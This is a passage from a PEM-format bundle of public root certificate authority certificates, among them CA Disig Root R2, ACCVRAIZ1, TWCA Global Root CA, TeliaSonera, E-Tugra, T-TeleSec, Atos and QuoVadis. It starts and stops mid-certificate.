VSUZP/3oNn6z4eGBrxEWi1CXYBmCAMBrTXO40RMHPuq2MU/wQppt4hF05ZSsjYSVPCGvxdpHyN85 YmLLW1AL14FABZyb7bq2ix4Eb5YgOe2kfSnbSM6C3NQCjR0EMVrHS/BsYVLXtFHCgWzN4funodKS ds+xDzdYpPJScWc/DIh4gInByLUfkmO+p3qKViwaqKactV2zY9ATIKHrkWzQjX2v3wvkF7mGnjix lAxYjOBVqjtjbZqJYLhkKpLGN/R+Q0O3c+gB53+XD9fyexn9GtePyfqFa3qdnom2piiZk4hA9z7N UaPK6u95RyG1/jLix8NRb76AdPCkwzryT+lf3xkK8jsTQ6wxpLPn6/wY1gGp8yqPNg7rtLG8t0zJ a7+h89n07eLw4+1knj0vllJPgFOL -----END CERTIFICATE----- CA Disig Root R2 ================ -----BEGIN CERTIFICATE----- MIIFaTCCA1GgAwIBAgIJAJK4iNuwisFjMA0GCSqGSIb3DQEBCwUAMFIxCzAJBgNVBAYTAlNLMRMw EQYDVQQHEwpCcmF0aXNsYXZhMRMwEQYDVQQKEwpEaXNpZyBhLnMuMRkwFwYDVQQDExBDQSBEaXNp ZyBSb290IFIyMB4XDTEyMDcxOTA5MTUzMFoXDTQyMDcxOTA5MTUzMFowUjELMAkGA1UEBhMCU0sx EzARBgNVBAcTCkJyYXRpc2xhdmExEzARBgNVBAoTCkRpc2lnIGEucy4xGTAXBgNVBAMTEENBIERp c2lnIFJvb3QgUjIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCio8QACdaFXS1tFPbC w3OeNcJxVX6B+6tGUODBfEl45qt5WDza/3wcn9iXAng+a0EE6UG9vgMsRfYvZNSrXaNHPWSb6Wia xswbP7q+sos0Ai6YVRn8jG+qX9pMzk0DIaPY0jSTVpbLTAwAFjxfGs3Ix2ymrdMxp7zo5eFm1tL7 A7RBZckQrg4FY8aAamkw/dLukO8NJ9+flXP04SXabBbeQTg06ov80egEFGEtQX6sx3dOy1FU+16S GBsEWmjGycT6txOgmLcRK7fWV8x8nhfRyyX+hk4kLlYMeE2eARKmK6cBZW58Yh2EhN/qwGu1pSqV g8NTEQxzHQuyRpDRQjrOQG6Vrf/GlK1ul4SOfW+eioANSW1z4nuSHsPzwfPrLgVv2RvPN3YEyLRa 5Beny912H9AZdugsBbPWnDTYltxhh5EF5EQIM8HauQhl1K6yNg3ruji6DOWbnuuNZt2Zz9aJQfYE koopKW1rOhzndX0CcQ7zwOe9yxndnWCywmZgtrEE7snmhrmaZkCo5xHtgUUDi/ZnWejBBhG93c+A Ak9lQHhcR1DIm+YfgXvkRKhbhZri3lrVx/k6RGZL5DJUfORsnLMOPReisjQS1n6yqEm70XooQL6i Fh/f5DcfEXP7kAplQ6INfPgGAVUzfbANuPT1rqVCV3w2EYx7XsQDnYx5nQIDAQABo0IwQDAPBgNV HRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUtZn4r7CU9eMg1gqtzk5WpC5u Qu0wDQYJKoZIhvcNAQELBQADggIBACYGXnDnZTPIgm7ZnBc6G3pmsgH2eDtpXi/q/075KMOYKmFM tCQSin1tERT3nLXK5ryeJ45MGcipvXrA1zYObYVybqjGom32+nNjf7xueQgcnYqfGopTpti72TVV sRHFqQOzVju5hJMiXn7B9hJSi+osZ7z+Nkz1uM/Rs0mSO9MpDpkblvdhuDvEK7Z4bLQjb/D907Je dR+Zlais9trhxTF7+9FGs9K8Z7RiVLoJ92Owk6Ka+elSLotgEqv89WBW7xBci8QaQtyDW2QOy7W8 1k/BfDxujRNt+3vrMNDcTa/F1balTFtxyegxvug4BkihGuLq0t4SOVga/4AOgnXmt8kHbA7v/zjx mHHEt38OFdAlab0inSvtBfZGR6ztwPDUO+Ls7pZbkBNOHlY667DvlruWIxG68kOGdGSVyCh13x01 utI3gzhTODY7z2zp+WsO0PsE6E9312UBeIYMej4hYvF/Y3EMyZ9E26gnonW+boE+18DrG5gPcFw0 sorMwIUY6256s/daoQe/qUKS82Ail+QUoQebTnbAjn39pCXHR+3/H3OszMOl6W8KjptlwlCFtaOg UxLMVYdh84GuEEZhvUQhuMI9dM9+JDX6HAcOmz0iyu8xL4ysEr3vQCj8KWefshNPZiTEUxnpHikV 7+ZtsH8tZ/3zbBt1RqPlShfppNcL -----END CERTIFICATE----- ACCVRAIZ1 ========= -----BEGIN CERTIFICATE----- MIIH0zCCBbugAwIBAgIIXsO3pkN/pOAwDQYJKoZIhvcNAQEFBQAwQjESMBAGA1UEAwwJQUNDVlJB SVoxMRAwDgYDVQQLDAdQS0lBQ0NWMQ0wCwYDVQQKDARBQ0NWMQswCQYDVQQGEwJFUzAeFw0xMTA1 MDUwOTM3MzdaFw0zMDEyMzEwOTM3MzdaMEIxEjAQBgNVBAMMCUFDQ1ZSQUlaMTEQMA4GA1UECwwH UEtJQUNDVjENMAsGA1UECgwEQUNDVjELMAkGA1UEBhMCRVMwggIiMA0GCSqGSIb3DQEBAQUAA4IC DwAwggIKAoICAQCbqau/YUqXry+XZpp0X9DZlv3P4uRm7x8fRzPCRKPfmt4ftVTdFXxpNRFvu8gM jmoYHtiP2Ra8EEg2XPBjs5BaXCQ316PWywlxufEBcoSwfdtNgM3802/J+Nq2DoLSRYWoG2ioPej0 RGy9ocLLA76MPhMAhN9KSMDjIgro6TenGEyxCQ0jVn8ETdkXhBilyNpAlHPrzg5XPAOBOp0KoVdD aaxXbXmQeOW1tDvYvEyNKKGno6e6Ak4l0Squ7a4DIrhrIA8wKFSVf+DuzgpmndFALW4ir50awQUZ 0m/A8p/4e7MCQvtQqR0tkw8jq8bBD5L/0KIV9VMJcRz/RROE5iZe+OCIHAr8Fraocwa48GOEAqDG WuzndN9wrqODJerWx5eHk6fGioozl2A3ED6XPm4pFdahD9GILBKfb6qkxkLrQaLjlUPTAYVtjrs7 8yM2x/474KElB0iryYl0/wiPgL/AlmXz7uxLaL2diMMxs0Dx6M/2OLuc5NF/1OVYm3z61PMOm3WR 5LpSLhl+0fXNWhn8ugb2+1KoS5kE3fj5tItQo05iifCHJPqDQsGH+tUtKSpacXpkatcnYGMN285J 9Y0fkIkyF/hzQ7jSWpOGYdbhdQrqeWZ2iE9x6wQl1gpaepPluUsXQA+xtrn13k/c4LOsOxFwYIRK Q26ZIMApcQrAZQIDAQABo4ICyzCCAscwfQYIKwYBBQUHAQEEcTBvMEwGCCsGAQUFBzAChkBodHRw Oi8vd3d3LmFjY3YuZXMvZmlsZWFkbWluL0FyY2hpdm9zL2NlcnRpZmljYWRvcy9yYWl6YWNjdjEu Y3J0MB8GCCsGAQUFBzABhhNodHRwOi8vb2NzcC5hY2N2LmVzMB0GA1UdDgQWBBTSh7Tj3zcnk1X2 VuqB5TbMjB4/vTAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFNKHtOPfNyeTVfZW6oHlNsyM Hj+9MIIBcwYDVR0gBIIBajCCAWYwggFiBgRVHSAAMIIBWDCCASIGCCsGAQUFBwICMIIBFB6CARAA QQB1AHQAbwByAGkAZABhAGQAIABkAGUAIABDAGUAcgB0AGkAZgBpAGMAYQBjAGkA8wBuACAAUgBh AO0AegAgAGQAZQAgAGwAYQAgAEEAQwBDAFYAIAAoAEEAZwBlAG4AYwBpAGEAIABkAGUAIABUAGUA YwBuAG8AbABvAGcA7QBhACAAeQAgAEMAZQByAHQAaQBmAGkAYwBhAGMAaQDzAG4AIABFAGwAZQBj AHQAcgDzAG4AaQBjAGEALAAgAEMASQBGACAAUQA0ADYAMAAxADEANQA2AEUAKQAuACAAQwBQAFMA IABlAG4AIABoAHQAdABwADoALwAvAHcAdwB3AC4AYQBjAGMAdgAuAGUAczAwBggrBgEFBQcCARYk aHR0cDovL3d3dy5hY2N2LmVzL2xlZ2lzbGFjaW9uX2MuaHRtMFUGA1UdHwROMEwwSqBIoEaGRGh0 dHA6Ly93d3cuYWNjdi5lcy9maWxlYWRtaW4vQXJjaGl2b3MvY2VydGlmaWNhZG9zL3JhaXphY2N2 MV9kZXIuY3JsMA4GA1UdDwEB/wQEAwIBBjAXBgNVHREEEDAOgQxhY2N2QGFjY3YuZXMwDQYJKoZI hvcNAQEFBQADggIBAJcxAp/n/UNnSEQU5CmH7UwoZtCPNdpNYbdKl02125DgBS4OxnnQ8pdpD70E R9m+27Up2pvZrqmZ1dM8MJP1jaGo/AaNRPTKFpV8M9xii6g3+CfYCS0b78gUJyCpZET/LtZ1qmxN YEAZSUNUY9rizLpm5U9EelvZaoErQNV/+QEnWCzI7UiRfD+mAM/EKXMRNt6GGT6d7hmKG9Ww7Y49 nCrADdg9ZuM8Db3VlFzi4qc1GwQA9j9ajepDvV+JHanBsMyZ4k0ACtrJJ1vnE5Bc5PUzolVt3OAJ TS+xJlsndQAJxGJ3KQhfnlmstn6tn1QwIgPBHnFk/vk4CpYY3QIUrCPLBhwepH2NDd4nQeit2hW3 sCPdK6jT2iWH7ehVRE2I9DZ+hJp4rPcOVkkO1jMl1oRQQmwgEh0q1b688nCBpHBgvgW1m54ERL5h I6zppSSMEYCUWqKiuUnSwdzRp+0xESyeGabu4VXhwOrPDYTkF7eifKXeVSUG7szAh1xA2syVP1Xg Nce4hL60Xc16gwFy7ofmXx2utYXGJt/mwZrpHgJHnyqobalbz+xFd3+YJ5oyXSrjhO7FmGYvliAd 3djDJ9ew+f7Zfc3Qn48LFFhRny+Lwzgt3uiP1o2HpPVWQxaZLPSkVrQ0uGE3ycJYgBugl6H8WY3p EfbRD0tVNEYqi4Y7 -----END CERTIFICATE----- TWCA Global Root CA =================== -----BEGIN CERTIFICATE----- MIIFQTCCAymgAwIBAgICDL4wDQYJKoZIhvcNAQELBQAwUTELMAkGA1UEBhMCVFcxEjAQBgNVBAoT CVRBSVdBTi1DQTEQMA4GA1UECxMHUm9vdCBDQTEcMBoGA1UEAxMTVFdDQSBHbG9iYWwgUm9vdCBD QTAeFw0xMjA2MjcwNjI4MzNaFw0zMDEyMzExNTU5NTlaMFExCzAJBgNVBAYTAlRXMRIwEAYDVQQK EwlUQUlXQU4tQ0ExEDAOBgNVBAsTB1Jvb3QgQ0ExHDAaBgNVBAMTE1RXQ0EgR2xvYmFsIFJvb3Qg Q0EwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCwBdvI64zEbooh745NnHEKH1Jw7W2C nJfF10xORUnLQEK1EjRsGcJ0pDFfhQKX7EMzClPSnIyOt7h52yvVavKOZsTuKwEHktSz0ALfUPZV r2YOy+BHYC8rMjk1Ujoog/h7FsYYuGLWRyWRzvAZEk2tY/XTP3VfKfChMBwqoJimFb3u/Rk28OKR Q4/6ytYQJ0lM793B8YVwm8rqqFpD/G2Gb3PpN0Wp8DbHzIh1HrtsBv+baz4X7GGqcXzGHaL3SekV tTzWoWH1EfcFbx39Eb7QMAfCKbAJTibc46KokWofwpFFiFzlmLhxpRUZyXx1EcxwdE8tmx2RRP1W KKD+u4ZqyPpcC1jcxkt2yKsi2XMPpfRaAok/T54igu6idFMqPVMnaR1sjjIsZAAmY2E2TqNGtz99 sy2sbZCilaLOz9qC5wc0GZbpuCGqKX6mOL6OKUohZnkfs8O1CWfe1tQHRvMq2uYiN2DLgbYPoA/p yJV/v1WRBXrPPRXAb94JlAGD1zQbzECl8LibZ9WYkTunhHiVJqRaCPgrdLQABDzfuBSO6N+pjWxn kjMdwLfS7JLIvgm/LCkFbwJrnu+8vyq8W8BQj0FwcYeyTbcEqYSjMq+u7msXi7Kx/mzhkIyIqJdI zshNy/MGz19qCkKxHh53L46g5pIOBvwFItIm4TFRfTLcDwIDAQABoyMwITAOBgNVHQ8BAf8EBAMC AQYwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAgEAXzSBdu+WHdXltdkCY4QWwa6g cFGn90xHNcgL1yg9iXHZqjNB6hQbbCEAwGxCGX6faVsgQt+i0trEfJdLjbDorMjupWkEmQqSpqsn LhpNgb+E1HAerUf+/UqdM+DyucRFCCEK2mlpc3INvjT+lIutwx4116KD7+U4x6WFH6vPNOw/KP4M 8VeGTslV9xzU2KV9Bnpv1d8Q34FOIWWxtuEXeZVFBs5fzNxGiWNoRI2T9GRwoD2dKAXDOXC4Ynsg /eTb6QihuJ49CcdP+yz4k3ZB3lLg4VfSnQO8d57+nile98FRYB/e2guyLXW3Q0iT5/Z5xoRdgFlg lPx4mI88k1HtQJAH32RjJMtOcQWh15QaiDLxInQirqWm2BJpTGCjAu4r7NRjkgtevi92a6O2JryP A9gK8kxkRr05YuWW6zRjESjMlfGt7+/cgFhI6Uu46mWs6fyAtbXIRfmswZ/ZuepiiI7E8UuDEq3m i4TWnsLrgxifarsbJGAzcMzs9zLzXNl5fe+epP7JI8Mk7hWSsT2RTyaGvWZzJBPqpK5jwa19hAM8 EHiGG3njxPPyBJUgriOCxLM6AGK/5jYk4Ve6xx6QddVfP5VhK8E7zeWzaGHQRiapIVJpLesux+t3 zqY6tQMzT3bR51xUAV3LePTJDL/PEo4XLSNolOer/qmyKwbQBM0= -----END CERTIFICATE----- TeliaSonera Root CA v1 ====================== -----BEGIN CERTIFICATE----- MIIFODCCAyCgAwIBAgIRAJW+FqD3LkbxezmCcvqLzZYwDQYJKoZIhvcNAQEFBQAwNzEUMBIGA1UE CgwLVGVsaWFTb25lcmExHzAdBgNVBAMMFlRlbGlhU29uZXJhIFJvb3QgQ0EgdjEwHhcNMDcxMDE4 MTIwMDUwWhcNMzIxMDE4MTIwMDUwWjA3MRQwEgYDVQQKDAtUZWxpYVNvbmVyYTEfMB0GA1UEAwwW VGVsaWFTb25lcmEgUm9vdCBDQSB2MTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMK+ 6yfwIaPzaSZVfp3FVRaRXP3vIb9TgHot0pGMYzHw7CTww6XScnwQbfQ3t+XmfHnqjLWCi65ItqwA 3GV17CpNX8GH9SBlK4GoRz6JI5UwFpB/6FcHSOcZrr9FZ7E3GwYq/t75rH2D+1665I+XZ75Ljo1k B1c4VWk0Nj0TSO9P4tNmHqTPGrdeNjPUtAa9GAH9d4RQAEX1jF3oI7x+/jXh7VB7qTCNGdMJjmhn Xb88lxhTuylixcpecsHHltTbLaC0H2kD7OriUPEMPPCs81Mt8Bz17Ww5OXOAFshSsCPN4D7c3TxH oLs1iuKYaIu+5b9y7tL6pe0S7fyYGKkmdtwoSxAgHNN/Fnct7W+A90m7UwW7XWjH1Mh1Fj+JWov3 F0fUTPHSiXk+TT2YqGHeOh7S+F4D4MHJHIzTjU3TlTazN19jY5szFPAtJmtTfImMMsJu7D0hADnJ oWjiUIMusDor8zagrC/kb2HCUQk5PotTubtn2txTuXZZNp1D5SDgPTJghSJRt8czu90VL6R4pgd7 gUY2BIbdeTXHlSw7sKMXNeVzH7RcWe/a6hBle3rQf5+ztCo3O3CLm1u5K7fsslESl1MpWtTwEhDc TwK7EpIvYtQ/aUN8Ddb8WHUBiJ1YFkveupD/RwGJBmr2X7KQarMCpgKIv7NHfirZ1fpoeDVNAgMB AAGjPzA9MA8GA1UdEwEB/wQFMAMBAf8wCwYDVR0PBAQDAgEGMB0GA1UdDgQWBBTwj1k4ALP1j5qW DNXr+nuqF+gTEjANBgkqhkiG9w0BAQUFAAOCAgEAvuRcYk4k9AwI//DTDGjkk0kiP0Qnb7tt3oNm zqjMDfz1mgbldxSR651Be5kqhOX//CHBXfDkH1e3damhXwIm/9fH907eT/j3HEbAek9ALCI18Bmx 0GtnLLCo4MBANzX2hFxc469CeP6nyQ1Q6g2EdvZR74NTxnr/DlZJLo961gzmJ1TjTQpgcmLNkQfW pb/ImWvtxBnmq0wROMVvMeJuScg/doAmAyYp4Db29iBT4xdwNBedY2gea+zDTYa4EzAvXUYNR0PV G6pZDrlcjQZIrXSHX8f8MVRBE+LHIQ6e4B4N4cB7Q4WQxYpYxmUKeFfyxiMPAdkgS94P+5KFdSpc c41teyWRyu5FrgZLAMzTsVlQ2jqIOylDRl6XK1TOU2+NSueW+r9xDkKLfP0ooNBIytrEgUy7onOT JsjrDNYmiLbAJM+7vVvrdX3pCI6GMyx5dwlppYn8s3CQh3aP0yK7Qs69cwsgJirQmz1wHiRszYd2 qReWt88NkvuOGKmYSdGe/mBEciG5Ge3C9THxOUiIkCR1VBatzvT4aRRkOfujuLpwQMcnHL/EVlP6 Y2XQ8xwOFvVrhlhNGNTkDY6lnVuR3HYkUD/GKvvZt5y11ubQ2egZixVxSK236thZiNSQvxaz2ems WWFUyBy6ysHK4bkgTI86k4mloMy/0/Z1pHWWbVY= -----END CERTIFICATE----- E-Tugra Certification Authority =============================== -----BEGIN CERTIFICATE----- MIIGSzCCBDOgAwIBAgIIamg+nFGby1MwDQYJKoZIhvcNAQELBQAwgbIxCzAJBgNVBAYTAlRSMQ8w DQYDVQQHDAZBbmthcmExQDA+BgNVBAoMN0UtVHXEn3JhIEVCRyBCaWxpxZ9pbSBUZWtub2xvamls ZXJpIHZlIEhpem1ldGxlcmkgQS7Fni4xJjAkBgNVBAsMHUUtVHVncmEgU2VydGlmaWthc3lvbiBN ZXJrZXppMSgwJgYDVQQDDB9FLVR1Z3JhIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTEzMDMw NTEyMDk0OFoXDTIzMDMwMzEyMDk0OFowgbIxCzAJBgNVBAYTAlRSMQ8wDQYDVQQHDAZBbmthcmEx QDA+BgNVBAoMN0UtVHXEn3JhIEVCRyBCaWxpxZ9pbSBUZWtub2xvamlsZXJpIHZlIEhpem1ldGxl cmkgQS7Fni4xJjAkBgNVBAsMHUUtVHVncmEgU2VydGlmaWthc3lvbiBNZXJrZXppMSgwJgYDVQQD DB9FLVR1Z3JhIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIICIjANBgkqhkiG9w0BAQEFAAOCAg8A MIICCgKCAgEA4vU/kwVRHoViVF56C/UYB4Oufq9899SKa6VjQzm5S/fDxmSJPZQuVIBSOTkHS0vd hQd2h8y/L5VMzH2nPbxHD5hw+IyFHnSOkm0bQNGZDbt1bsipa5rAhDGvykPL6ys06I+XawGb1Q5K CKpbknSFQ9OArqGIW66z6l7LFpp3RMih9lRozt6Plyu6W0ACDGQXwLWTzeHxE2bODHnv0ZEoq1+g ElIwcxmOj+GMB6LDu0rw6h8VqO4lzKRG+Bsi77MOQ7osJLjFLFzUHPhdZL3Dk14opz8n8Y4e0ypQ BaNV2cvnOVPAmJ6MVGKLJrD3fY185MaeZkJVgkfnsliNZvcHfC425lAcP9tDJMW/hkd5s3kc91r0 E+xs+D/iWR+V7kI+ua2oMoVJl0b+SzGPWsutdEcf6ZG33ygEIqDUD13ieU/qbIWGvaimzuT6w+Gz rt48Ue7LE3wBf4QOXVGUnhMMti6lTPk5cDZvlsouDERVxcr6XQKj39ZkjFqzAQqptQpHF//vkUAq jqFGOjGY5RH8zLtJVor8udBhmm9lbObDyz51Sf6Pp+KJxWfXnUYTTjF2OySznhFlhqt/7x3U+Lzn rFpct1pHXFXOVbQicVtbC/DP3KBhZOqp12gKY6fgDT+gr9Oq0n7vUaDmUStVkhUXU8u3Zg5mTPj5 dUyQ5xJwx0UCAwEAAaNjMGEwHQYDVR0OBBYEFC7j27JJ0JxUeVz6Jyr+zE7S6E5UMA8GA1UdEwEB /wQFMAMBAf8wHwYDVR0jBBgwFoAULuPbsknQnFR5XPonKv7MTtLoTlQwDgYDVR0PAQH/BAQDAgEG MA0GCSqGSIb3DQEBCwUAA4ICAQAFNzr0TbdF4kV1JI+2d1LoHNgQk2Xz8lkGpD4eKexd0dCrfOAK kEh47U6YA5n+KGCRHTAduGN8qOY1tfrTYXbm1gdLymmasoR6d5NFFxWfJNCYExL/u6Au/U5Mh/jO XKqYGwXgAEZKgoClM4so3O0409/lPun++1ndYYRP0lSWE2ETPo+Aab6TR7U1Q9Jauz1c77NCR807 VRMGsAnb/WP2OogKmW9+4c4bU2pEZiNRCHu8W1Ki/QY3OEBhj0qWuJA3+GbHeJAAFS6LrVE1Uweo a2iu+U48BybNCAVwzDk/dr2l02cmAYamU9JgO3xDf1WKvJUawSg5TB9D0pH0clmKuVb8P7Sd2nCc dlqMQ1DujjByTd//SffGqWfZbawCEeI6FiWnWAjLb1NBnEg4R2gz0dfHj9R0IdTDBZB6/86WiLEV KV0jq9BgoRJP3vQXzTLlyb/IQ639Lo7xr+L0mPoSHyDYwKcMhcWQ9DstliaxLL5Mq+ux0orJ23gT Dx4JnW2PAJ8C2sH6H3p6CcRK5ogql5+Ji/03X186zjhZhkuvcQu02PJwT58yE+Owp1fl2tpDy4Q0 8ijE6m30Ku/Ba3ba+367hTzSU8JNvnHhRdH9I2cNE3X7z2VnIp2usAnRCf8dNL/+I5c30jn6PQ0G C7TbO6Orb1wdtn7os4I07QZcJA== -----END CERTIFICATE----- T-TeleSec GlobalRoot Class 2 ============================ -----BEGIN CERTIFICATE----- MIIDwzCCAqugAwIBAgIBATANBgkqhkiG9w0BAQsFADCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoM IlQtU3lzdGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBU cnVzdCBDZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDIwHhcNMDgx MDAxMTA0MDE0WhcNMzMxMDAxMjM1OTU5WjCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoMIlQtU3lz dGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBD ZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDIwggEiMA0GCSqGSIb3 DQEBAQUAA4IBDwAwggEKAoIBAQCqX9obX+hzkeXaXPSi5kfl82hVYAUdAqSzm1nzHoqvNK38DcLZ SBnuaY/JIPwhqgcZ7bBcrGXHX+0CfHt8LRvWurmAwhiCFoT6ZrAIxlQjgeTNuUk/9k9uN0goOA/F vudocP05l03Sx5iRUKrERLMjfTlH6VJi1hKTXrcxlkIF+3anHqP1wvzpesVsqXFP6st4vGCvx970 2cu+fjOlbpSD8DT6IavqjnKgP6TeMFvvhk1qlVtDRKgQFRzlAVfFmPHmBiiRqiDFt1MmUUOyCxGV WOHAD3bZwI18gfNycJ5v/hqO2V81xrJvNHy+SE/iWjnX2J14np+GPgNeGYtEotXHAgMBAAGjQjBA MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBS/WSA2AHmgoCJrjNXy YdK4LMuCSjANBgkqhkiG9w0BAQsFAAOCAQEAMQOiYQsfdOhyNsZt+U2e+iKo4YFWz827n+qrkRk4 r6p8FU3ztqONpfSO9kSpp+ghla0+AGIWiPACuvxhI+YzmzB6azZie60EI4RYZeLbK4rnJVM3YlNf vNoBYimipidx5joifsFvHZVwIEoHNN/q/xWA5brXethbdXwFeilHfkCoMRN3zUA7tFFHei4R40cR 3p1m0IvVVGb6g1XqfMIpiRvpb7PO4gWEyS8+eIVibslfwXhjdFjASBgMmTnrpMwatXlajRWc2BQN 9noHV8cigwUtPJslJj0Ys6lDfMjIq2SPDqO/nBudMNva0Bkuqjzx+zOAduTNrRlPBSeOE6Fuwg== -----END CERTIFICATE----- Atos TrustedRoot 2011 ===================== -----BEGIN CERTIFICATE----- MIIDdzCCAl+gAwIBAgIIXDPLYixfszIwDQYJKoZIhvcNAQELBQAwPDEeMBwGA1UEAwwVQXRvcyBU cnVzdGVkUm9vdCAyMDExMQ0wCwYDVQQKDARBdG9zMQswCQYDVQQGEwJERTAeFw0xMTA3MDcxNDU4 MzBaFw0zMDEyMzEyMzU5NTlaMDwxHjAcBgNVBAMMFUF0b3MgVHJ1c3RlZFJvb3QgMjAxMTENMAsG A1UECgwEQXRvczELMAkGA1UEBhMCREUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCV hTuXbyo7LjvPpvMpNb7PGKw+qtn4TaA+Gke5vJrf8v7MPkfoepbCJI419KkM/IL9bcFyYie96mvr 54rMVD6QUM+A1JX76LWC1BTFtqlVJVfbsVD2sGBkWXppzwO3bw2+yj5vdHLqqjAqc2K+SZFhyBH+ DgMq92og3AIVDV4VavzjgsG1xZ1kCWyjWZgHJ8cblithdHFsQ/H3NYkQ4J7sVaE3IqKHBAUsR320 HLliKWYoyrfhk/WklAOZuXCFteZI6o1Q/NnezG8HDt0Lcp2AMBYHlT8oDv3FdU9T1nSatCQujgKR z3bFmx5VdJx4IbHwLfELn8LVlhgf8FQieowHAgMBAAGjfTB7MB0GA1UdDgQWBBSnpQaxLKYJYO7R l+lwrrw7GWzbITAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFKelBrEspglg7tGX6XCuvDsZ bNshMBgGA1UdIAQRMA8wDQYLKwYBBAGwLQMEAQEwDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEB CwUAA4IBAQAmdzTblEiGKkGdLD4GkGDEjKwLVLgfuXvTBznk+j57sj1O7Z8jvZfza1zv7v1Apt+h k6EKhqzvINB5Ab149xnYJDE0BAGmuhWawyfc2E8PzBhj/5kPDpFrdRbhIfzYJsdHt6bPWHJxfrrh TZVHO8mvbaG0weyJ9rQPOLXiZNwlz6bb65pcmaHFCN795trV1lpFDMS3wrUU77QR/w4VtfX128a9 61qn8FYiqTxlVMYVqL2Gns2Dlmh6cYGJ4Qvh6hEbaAjMaZ7snkGeRDImeuKHCnE96+RapNLbxc3G 3mB/ufNPRJLvKrcYPqcZ2Qt9sTdBQrC6YB3y/gkRsPCHe6ed -----END CERTIFICATE----- QuoVadis Root CA 1 G3 ===================== -----BEGIN CERTIFICATE----- MIIFYDCCA0igAwIBAgIUeFhfLq0sGUvjNwc1NBMotZbUZZMwDQYJKoZIhvcNAQELBQAwSDELMAkG A1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxHjAcBgNVBAMTFVF1b1ZhZGlzIFJv b3QgQ0EgMSBHMzAeFw0xMjAxMTIxNzI3NDRaFw00MjAxMTIxNzI3NDRaMEgxCzAJBgNVBAYTAkJN MRkwFwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMR4wHAYDVQQDExVRdW9WYWRpcyBSb290IENBIDEg RzMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCgvlAQjunybEC0BJyFuTHK3C3kEakE PBtVwedYMB0ktMPvhd6MLOHBPd+C5k+tR4ds7FtJwUrVu4/sh6x/gpqG7D0DmVIB0jWerNrwU8lm PNSsAgHaJNM7qAJGr6Qc4/hzWHa39g6QDbXwz8z6+cZM5cOGMAqNF34168Xfuw6cwI2H44g4hWf6 Pser4BOcBRiYz5P1sZK0/CPTz9XEJ0ngnjybCKOLXSoh4Pw5qlPafX7PGglTvF0FBM+hSo+LdoIN ofjSxxR3W5A2B4GbPgb6Ul5jxaYA/qXpUhtStZI5cgMJYr2wYBZupt0lwgNm3fME0UDiTouG9G/l g6AnhF4EwfWQvTA9xO+oabw4m6SkltFi2mnAAZauy8RRNOoMqv8hjlmPSlzkYZqn0ukqeI1RPToV 7qJZjqlc3sX5kCLliEVx3ZGZbHqfPT2YfF72vhZooF6uCyP8Wg+qInYtyaEQHeTTRCOQiJ/GKubX 9ZqzWB4vMIkIG1SitZgj7Ah3HJVdYdHLiZxfokqRmu8hqkkWCKi9YSgxyXSthfbZxbGL0eUQMk1f iyA6PEkfM4VZDdvLCXVDaXP7a3F98N/ETH3Goy7IlXnLc6KOTk0k+17kBL5yG6YnLUlamXrXXAkg t3+UuU/xDRxeiEIbEbfnkduebPRq34wGmAOtzCjvpUfzUwIDAQABo0IwQDAPBgNVHRMBAf8EBTAD AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUo5fW816iEOGrRZ88F2Q87gFwnMwwDQYJKoZI hvcNAQELBQADggIBABj6W3X8PnrHX3fHyt/PX8MSxEBd1DKquGrX1RUVRpgjpeaQWxiZTOOtQqOC MTaIzen7xASWSIsBx40Bz1szBpZGZnQdT+3Btrm0DWHMY37XLneMlhwqI2hrhVd2cDMT/uFPpiN3 GPoajOi9ZcnPP/TJF9zrx7zABC4tRi9pZsMbj/7sPtPKlL92CiUNqXsCHKnQO18LwIE6PWThv6ct Tr1NxNgpxiIY0MWscgKCP6o6ojoilzHdCGPDdRS5YCgtW2jgFqlmgiNR9etT2DGbe+m3nUvriBbP +V04ikkwj+3x6xn0dxoxGE1nVGwvb2X52z3sIexe9PSLymBlVNFxZPT5pqOBMzYzcfCkeF9OrYMh 3jRJjehZrJ3ydlo28hP0r+AJx2EqbPfgna67hkooby7utHnNkDPDs3b69fBsnQGQ+p6Q9pxyz0fa wx/kNSBT8lTR32GDpgLiJTjehTItXnOQUl1CxM49S+H5GYQd1aJQzEH7QRTDvdbJWqNjZgKAvQU6 O0ec7AAmTPWIUb+oI38YB7AL7YsmoWTTYUrrXJ/es69nA7Mf3W1daWhpq1467HxpvMc7hU6eFbm0 FU/DlXpY18ls6Wy58yljXrQs8C097Vpl4KlbQMJImYFtnh8GKjwStIsPm6Ik8KaN1nrgS7ZklmOV hMJKzRwuJIczYOXD -----END CERTIFICATE----- QuoVadis Root CA 2 G3 ===================== -----BEGIN CERTIFICATE----- MIIFYDCCA0igAwIBAgIURFc0JFuBiZs18s64KztbpybwdSgwDQYJKoZIhvcNAQELBQAwSDELMAkG A1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxHjAcBgNVBAMTFVF1b1ZhZGlzIFJv 